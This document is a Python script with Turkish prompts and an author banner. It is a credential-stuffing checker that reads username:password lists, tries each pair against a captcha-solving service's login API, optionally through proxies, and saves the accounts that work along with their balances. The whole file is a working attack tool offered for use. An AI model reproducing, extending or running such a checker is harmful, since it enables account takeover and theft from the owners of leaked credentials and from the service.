import requests
from urllib.parse import parse_qs
import tkinter as tk
from tkinter import filedialog
from os import system
from colorama import Fore, Style
def show_interface():
system("cls||clear")
print(Fore.LIGHTCYAN_EX + '''
M M EEEEE H H M M EEEEE T 1 2 W S
MM MM E H H MM MM E T 1 2 W S
M M M EEEE HHHHH M M M EEEE T 1 2 W S
M M E H H M M E T 1 2 W S
M M EEEEE H H M M EEEEE T 1 2 W S
Author mehmet12ws discord.gg/script
''' + Style.RESET_ALL + Fore.LIGHTRED_EX)
def format_proxy(proxy):
parts = proxy.split(":")
if len(parts) == 2:
return f"http://{proxy}"
elif len(parts) == 4:
return f"http://{parts[2]}:{parts[3]}@{parts[0]}:{parts[1]}"
else:
print("Hata: Geçersiz proxy adresi formatı.")
return None
def get_proxy():
use_proxy = input("Proxy kullanmak istiyor musunuz? (Evet/Hayır): ").lower()
if use_proxy == "evet":
proxy_str = input("Proxy bilgisini girin (host:port:username:password): ")
return format_proxy(proxy_str)
else:
return None
def check_balance():
show_interface()
root = tk.Tk()
root.withdraw()
file_path = filedialog.askopenfilename(
title="Bir .txt dosyası seçin",
filetypes=(("Text Files", "*.txt"), ("All Files", "*.*"))
)
if not file_path:
print("Dosya seçilmedi!")
return
result_file_path = filedialog.asksaveasfilename(
title="Sonuçları kaydedin",
defaultextension=".txt",
filetypes=(("Text Files", "*.txt"), ("All Files", "*.*"))
)
if not result_file_path:
print("Sonuç dosyası seçilmedi!")
return
proxy = get_proxy()
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
with open(file_path, "r", encoding="utf-8") as file:
lines = file.readlines()
results = []
for line in lines:
line = line.strip()
if ':' not in line:
print(f"{line} - Dosya formatı hatalı! (Doğru format: username:password)")
continue
username, password = line.split(":", 1)
username = username.strip()
password = password.strip()
if not username or not password:
print("Kullanıcı adı veya şifre boş olamaz!")
continue
url = "http://api.dbcapi.me/api/user"
data = {
"username": username,
"password": password
}
try:
response = requests.post(url, data=data, proxies=proxies)
response_text = response.text
response_data = parse_qs(response_text)
balance = response_data.get("balance", [None])[0]
if "error=not-logged-in&status=255" in response_text:
continue
elif 'user=' in response_text:
output = f"{username}:{password} - Bakiye: {balance}"
results.append(output)
print(Fore.GREEN + output)
except requests.RequestException as e:
print(f"{username}:{password} - Bağlantı hatası: {e}")
with open(result_file_path, "w", encoding="utf-8") as result_file:
for result in results:
result_file.write(result + "\n")
except Exception as e:
print(f"Dosya okunurken bir hata oluştu: {e}")
check_balance()